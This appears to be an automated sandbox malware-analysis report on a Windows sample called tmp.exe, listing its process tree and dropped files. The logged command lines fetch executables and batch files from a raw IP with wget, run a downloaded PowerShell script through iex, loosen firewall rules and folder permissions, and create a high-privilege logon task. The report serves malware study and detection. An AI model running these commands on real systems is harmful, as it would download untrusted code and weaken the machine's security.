Analysis

  • max time kernel
    74s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2022, 12:43

General

  • Target
    tmp.exe
  • Size 532KB
  • Sample221115-pybwcadh86
  • SHA256 9aa8880ca3650ef28c7a1dd5869a4d720ca0f62bda8ada3fcd86226b6f20e123
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://chocolatey.org/install.ps1

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 4 IoCs
  • Possible privilege escalation attempt 19 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Modifies file permissions 1 TTPs 19 IoCs
  • AutoIT Executable 3 IoCs

    AutoIT scripts compiled to PE executables.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 35 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4720
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\tmp.exe enable=yes
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1864
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\tmp.exe enable=yes
        3⤵
        • Modifies Windows Firewall
        PID:644
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="upwget" dir=in action=allow program=%allusersprofile%\zem\wget.exe enable=yes
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="upwget" dir=in action=allow program=C:\ProgramData\zem\wget.exe enable=yes
        3⤵
        • Modifies Windows Firewall
        PID:4268
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="uptime_cli" dir=in action=allow program=%allusersprofile%\zem\time_cli.exe enable=yes
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:388
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="uptime_cli" dir=in action=allow program=C:\ProgramData\zem\time_cli.exe enable=yes
        3⤵
        • Modifies Windows Firewall
        PID:3424
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=%allusersprofile%\zem\up2batdownload.exe enable=yes
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\ProgramData\zem\up2batdownload.exe enable=yes
        3⤵
        • Modifies Windows Firewall
        PID:1504
    • C:\ProgramData\zem\wget.exe
      C:\ProgramData\zem\wget.exe --tries=2 -o "%ALLUSERSPROFILE%\zem\log\not_in_right_dir_up2bat64atstrtp.txt" -N -P "C:\ProgramData\zem" --user-agent="FXOYPAIQ_Admin" 84.240.25.78/openforschool/bat/update64.bat
      2⤵
      • Executes dropped EXE
      PID:1912
    • C:\ProgramData\zem\wget.exe
      C:\ProgramData\zem\wget.exe --tries=2 -o "%ALLUSERSPROFILE%\zem\log\not_in_right_dir_cmdhatstrtp.txt" -N -P "C:\ProgramData\zem" --user-agent="FXOYPAIQ_Admin" 84.240.25.78/openforschool/prg/cmdh.exe
      2⤵
      • Executes dropped EXE
      PID:3780
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem /D Y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2960
      • C:\Windows\system32\takeown.exe
        takeown /R /f C:\ProgramData\zem /D Y
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4280
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Everyone:F /T
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\system32\icacls.exe
        ICACLS C:\ProgramData\zem /grant Everyone:F /T
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3660
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /T /inheritance:r
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4780
      • C:\Windows\system32\icacls.exe
        ICACLS C:\ProgramData\zem /T /inheritance:r
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5016
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Everyone:(OI)(CI)F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1340
      • C:\Windows\system32\icacls.exe
        ICACLS C:\ProgramData\zem /grant Everyone:(OI)(CI)F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2120
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\log /D Y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Windows\system32\takeown.exe
        takeown /R /f C:\ProgramData\zem\log /D Y
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5116
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Everyone:F /T
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4796
      • C:\Windows\system32\icacls.exe
        ICACLS C:\ProgramData\zem\log /grant Everyone:F /T
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1188
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Everyone:(OI)(CI)F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3476
      • C:\Windows\system32\icacls.exe
        ICACLS C:\ProgramData\zem\log /grant Everyone:(OI)(CI)F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3060
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\upd /D Y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1292
      • C:\Windows\system32\takeown.exe
        takeown /R /f C:\ProgramData\zem\upd /D Y
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3468
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Everyone:F /T
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3596
      • C:\Windows\system32\icacls.exe
        ICACLS C:\ProgramData\zem\upd /grant Everyone:F /T
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4544
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Everyone:(OI)(CI)F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\system32\icacls.exe
        ICACLS C:\ProgramData\zem\upd /grant Everyone:(OI)(CI)F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1412
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Все:F /T
      2⤵
        PID:4684
        • C:\Windows\system32\icacls.exe
          ICACLS C:\ProgramData\zem /grant Все:F /T
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4224
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /T /inheritance:r
        2⤵
          PID:2832
          • C:\Windows\system32\icacls.exe
            ICACLS C:\ProgramData\zem /T /inheritance:r
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2240
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Все:(OI)(CI)F
          2⤵
            PID:4888
            • C:\Windows\system32\icacls.exe
              ICACLS C:\ProgramData\zem /grant Все:(OI)(CI)F
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:4288
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\log /D Y
            2⤵
              PID:4708
              • C:\Windows\system32\takeown.exe
                takeown /R /f C:\ProgramData\zem\log /D Y
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:4088
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Все:F /T
              2⤵
                PID:1592
                • C:\Windows\system32\icacls.exe
                  ICACLS C:\ProgramData\zem\log /grant Все:F /T
                  3⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:992
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Все:(OI)(CI)F
                2⤵
                  PID:1864
                  • C:\Windows\system32\icacls.exe
                    ICACLS C:\ProgramData\zem\log /grant Все:(OI)(CI)F
                    3⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:2128
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\upd /D Y
                  2⤵
                    PID:1104
                    • C:\Windows\system32\takeown.exe
                      takeown /R /f C:\ProgramData\zem\upd /D Y
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:1264
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Все:F /T
                    2⤵
                      PID:3912
                      • C:\Windows\system32\icacls.exe
                        ICACLS C:\ProgramData\zem\upd /grant Все:F /T
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:2056
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Все:(OI)(CI)F
                      2⤵
                        PID:644
                        • C:\Windows\system32\icacls.exe
                          ICACLS C:\ProgramData\zem\upd /grant Все:(OI)(CI)F
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:1320
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Adobe Flash Player Updater" /F
                        2⤵
                          PID:2648
                          • C:\Windows\system32\schtasks.exe
                            schtasks /delete /TN "Adobe Flash Player Updater" /F
                            3⤵
                              PID:4352
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Adobe Flash Player PPAPI Notifier" /F
                            2⤵
                              PID:2928
                              • C:\Windows\system32\schtasks.exe
                                schtasks /delete /TN "Adobe Flash Player PPAPI Notifier" /F
                                3⤵
                                  PID:3572
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1009" /F
                                2⤵
                                  PID:3824
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1009" /F
                                    3⤵
                                      PID:736
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1011" /F
                                    2⤵
                                      PID:3560
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1011" /F
                                        3⤵
                                          PID:976
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c schtasks /delete /TN "User_Feed_Synchronization-{31CAA45B-2034-4501-B12A-BB56B5804873}" /F
                                        2⤵
                                          PID:1144
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /delete /TN "User_Feed_Synchronization-{31CAA45B-2034-4501-B12A-BB56B5804873}" /F
                                            3⤵
                                              PID:2676
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c schtasks /delete /TN "User_Feed_Synchronization-{95D3B369-FB41-4E58-8BBD-842C00C86AA9}" /F
                                            2⤵
                                              PID:1688
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks /delete /TN "User_Feed_Synchronization-{95D3B369-FB41-4E58-8BBD-842C00C86AA9}" /F
                                                3⤵
                                                  PID:3772
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /F
                                                2⤵
                                                  PID:2164
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /F
                                                    3⤵
                                                      PID:2660
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /F
                                                    2⤵
                                                      PID:2576
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /F
                                                        3⤵
                                                          PID:5072
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_uninstall_java" /F
                                                        2⤵
                                                          PID:1708
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /delete /TN "test_n_uninstall_java" /F
                                                            3⤵
                                                              PID:4496
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_java64" /F
                                                            2⤵
                                                              PID:4060
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /delete /TN "test_n_java64" /F
                                                                3⤵
                                                                  PID:2988
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_firefox64" /F
                                                                2⤵
                                                                  PID:3900
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /delete /TN "test_n_firefox64" /F
                                                                    3⤵
                                                                      PID:4244
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_vlc64" /F
                                                                    2⤵
                                                                      PID:2496
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks /delete /TN "test_n_vlc64" /F
                                                                        3⤵
                                                                          PID:5112
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_foxitreader_latest" /F
                                                                        2⤵
                                                                          PID:3464
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            schtasks /delete /TN "test_n_foxitreader_latest" /F
                                                                            3⤵
                                                                              PID:4560
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player_ax" /F
                                                                            2⤵
                                                                              PID:2408
                                                                              • C:\Windows\system32\schtasks.exe
                                                                                schtasks /delete /TN "test_n_install_flash_player_ax" /F
                                                                                3⤵
                                                                                  PID:1924
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player_ppapi" /F
                                                                                2⤵
                                                                                  PID:1696
                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                    schtasks /delete /TN "test_n_install_flash_player_ppapi" /F
                                                                                    3⤵
                                                                                      PID:2992
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player" /F
                                                                                    2⤵
                                                                                      PID:2456
                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                        schtasks /delete /TN "test_n_install_flash_player" /F
                                                                                        3⤵
                                                                                          PID:4004
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_7z64" /F
                                                                                        2⤵
                                                                                          PID:1280
                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                            schtasks /delete /TN "test_n_7z64" /F
                                                                                            3⤵
                                                                                              PID:4876
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_run" /F
                                                                                            2⤵
                                                                                              PID:904
                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                schtasks /delete /TN "test_n_run" /F
                                                                                                3⤵
                                                                                                  PID:4268
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c copy /Y /Z C:\Users\Admin\AppData\Local\Temp\tmp.exe %ALLUSERSPROFILE%\zem\up2batdownload.exe
                                                                                                2⤵
                                                                                                  PID:4172
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c @powershell -NoProfile -ExecutionPolicy unrestricted -Command iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1')) && SET PATH=%PATH%;%systemdrive%\chocolatey\bin
                                                                                                  2⤵
                                                                                                    PID:1284
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell -NoProfile -ExecutionPolicy unrestricted -Command iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))
                                                                                                      3⤵
                                                                                                      • Blocklisted process makes network request
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1264
                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.cmdline"
                                                                                                        4⤵
                                                                                                          PID:8
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA2AD.tmp" "c:\Users\Admin\AppData\Local\Temp\pftbpevt\CSCA5BC580AF6EE420E902A6861B0103F6C.TMP"
                                                                                                            5⤵
                                                                                                              PID:1712
                                                                                                          • C:\Windows\System32\setx.exe
                                                                                                            "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "133129934484078047"
                                                                                                            4⤵
                                                                                                              PID:228
                                                                                                            • C:\Windows\System32\setx.exe
                                                                                                              "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "133129934498296854"
                                                                                                              4⤵
                                                                                                                PID:3572
                                                                                                              • C:\ProgramData\chocolatey\choco.exe
                                                                                                                "C:\ProgramData\chocolatey\choco.exe" -v
                                                                                                                4⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:4092
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c powershell cinst powershell -y
                                                                                                            2⤵
                                                                                                              PID:3380
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell cinst powershell -y
                                                                                                                3⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4464
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c echo chocolatey >> %ALLUSERSPROFILE%\zem\log\not_in_right_dir_chocolatey.txt
                                                                                                              2⤵
                                                                                                                PID:4472
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c %ALLUSERSPROFILE%\zem\run.bat
                                                                                                                2⤵
                                                                                                                  PID:1144
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell "Set-ExecutionPolicy RemoteSigned -force"
                                                                                                                    3⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:1340
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell C:\ProgramData\zem\start.ps1
                                                                                                                    3⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:2552
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c C:\ProgramData\zem\update64.bat
                                                                                                                  2⤵
                                                                                                                    PID:3320
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c C:\ProgramData\zem\start.bat
                                                                                                                  1⤵
                                                                                                                    PID:3856
                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                      SchTasks /Create /SC ONLOGON /RU Admin /TN "test_n_timecli" /TR "C:\ProgramData\zem\time_cli.exe" /F /RL HIGHEST
                                                                                                                      2⤵
                                                                                                                      • Creates scheduled task(s)
                                                                                                                      PID:1248

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        choco.exe

                                                                                                                        • Path C:\ProgramData\chocolatey\choco.exe
                                                                                                                        • Size 7.3MB
                                                                                                                        • SHA256 9078bd7a82267c4605dcdf4d4ad8d03150cd9eec84c88965a3fcd4193cf1f8d7
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        choco.exe

                                                                                                                        • Path C:\ProgramData\chocolatey\choco.exe
                                                                                                                        • Size 7.3MB
                                                                                                                        • SHA256 9078bd7a82267c4605dcdf4d4ad8d03150cd9eec84c88965a3fcd4193cf1f8d7
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        run.bat

                                                                                                                        • Path C:\ProgramData\zem\run.bat
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 a1277bd1956b02a2f759ad30eca3215ba2c83eab72dfa9f815d39564bc4a9e1c
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        start.bat

                                                                                                                        • Path C:\ProgramData\zem\start.bat
                                                                                                                        • Size 415B
                                                                                                                        • SHA256 3ee70cf43535fc65581f3edf34674e8f2769e661911ba7cf2dcb359cedf40fb8
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        start.ps1

                                                                                                                        • Path C:\ProgramData\zem\start.ps1
                                                                                                                        • Size 1KB
                                                                                                                        • SHA256 c57a761935e8b3a9cf697f6d1ad069cc839bb98ea79beeb5ad635802ce10500d
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        tmp.exe

                                                                                                                        • Path C:\ProgramData\zem\tmp.exe
                                                                                                                        • Size 532KB
                                                                                                                        • SHA256 9aa8880ca3650ef28c7a1dd5869a4d720ca0f62bda8ada3fcd86226b6f20e123
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        wget.exe

                                                                                                                        • Path C:\ProgramData\zem\wget.exe
                                                                                                                        • Size 392KB
                                                                                                                        • SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        wget.exe

                                                                                                                        • Path C:\ProgramData\zem\wget.exe
                                                                                                                        • Size 392KB
                                                                                                                        • SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        wget.exe

                                                                                                                        • Path C:\ProgramData\zem\wget.exe
                                                                                                                        • Size 392KB
                                                                                                                        • SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        powershell.exe.log

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                        • Size 3KB
                                                                                                                        • SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        StartupProfileData-NonInteractive

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                        • Size 1KB
                                                                                                                        • SHA256 54b57c9f9b168348e3cdcb1e7e41500602a2267d35c71675810aa34fca004164
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        StartupProfileData-NonInteractive

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                        • Size 944B
                                                                                                                        • SHA256 3e1615e7774bd98860c984570515c293b64cf07f1b8e6688a72e78fa9ebed0f4
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        StartupProfileData-NonInteractive

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                        • Size 64B
                                                                                                                        • SHA256 7615b74b755b33bde20d6026bd14a1cb1866d3013b9dc231a3dfeb071b4e29d2
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        RESA2AD.tmp

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\RESA2AD.tmp
                                                                                                                        • Size 1KB
                                                                                                                        • SHA256 d700f55ada9a9e601da68e977854dd734b5b1e16d0793ff67b541c6504e60682
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        pftbpevt.dll

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.dll
                                                                                                                        • Size 3KB
                                                                                                                        • SHA256 c5b124cdffd31f3d5224878bb1594e2221d1431c4a4dd452fee0a5f85dc9c6a7
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        CSCA5BC580AF6EE420E902A6861B0103F6C.TMP

                                                                                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\pftbpevt\CSCA5BC580AF6EE420E902A6861B0103F6C.TMP
                                                                                                                        • Size 652B
                                                                                                                        • SHA256 dc867d9227477c215e1d68c97d90c1d9c854fbb6ed057ac40b9c2a7184b53421
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        pftbpevt.0.cs

                                                                                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.0.cs
                                                                                                                        • Size 363B
                                                                                                                        • SHA256 2887d6cced4527e90685dea484f31e882a7352ca66bdb5f5c7dd8924b6885dce
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        pftbpevt.cmdline

                                                                                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.cmdline
                                                                                                                        • Size 369B
                                                                                                                        • SHA256 71c86045ff58eb88a33c6ee52bfa275d257109ef428309aa8de3d18bfd10e9fb
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        memory/1264-224-0x00007FFDCAFB0000-0x00007FFDCBA71000-memory.dmp

                                                                                                                        memory/1264-217-0x00007FFDCAFB0000-0x00007FFDCBA71000-memory.dmp

                                                                                                                        memory/1264-208-0x00000260F1EB0000-0x00000260F1EBA000-memory.dmp

                                                                                                                        memory/1264-207-0x00000260F1ED0000-0x00000260F1EE2000-memory.dmp

                                                                                                                        memory/1264-205-0x00007FFDCAFB0000-0x00007FFDCBA71000-memory.dmp

                                                                                                                        memory/1264-204-0x00000260F1210000-0x00000260F1232000-memory.dmp

                                                                                                                        memory/1340-232-0x00007FFDCB0D0000-0x00007FFDCBB91000-memory.dmp

                                                                                                                        memory/1912-144-0x0000000000400000-0x00000000004EF000-memory.dmp

                                                                                                                        memory/2552-237-0x00007FFDCB0D0000-0x00007FFDCBB91000-memory.dmp

                                                                                                                        memory/2552-235-0x00007FFDCB0D0000-0x00007FFDCBB91000-memory.dmp

                                                                                                                        memory/3780-147-0x0000000000400000-0x00000000004EF000-memory.dmp

                                                                                                                        memory/3780-148-0x0000000000400000-0x00000000004EF000-memory.dmp

                                                                                                                        memory/4092-216-0x0000000000AD0000-0x000000000121A000-memory.dmp

                                                                                                                        memory/4092-223-0x00007FFDCAFB0000-0x00007FFDCBA71000-memory.dmp

                                                                                                                        memory/4092-218-0x00007FFDCAFB0000-0x00007FFDCBA71000-memory.dmp

                                                                                                                        memory/4092-219-0x0000000001780000-0x00000000017A0000-memory.dmp

                                                                                                                        memory/4092-220-0x000000001D280000-0x000000001D2D0000-memory.dmp

                                                                                                                        memory/4092-221-0x000000001D350000-0x000000001D3C6000-memory.dmp

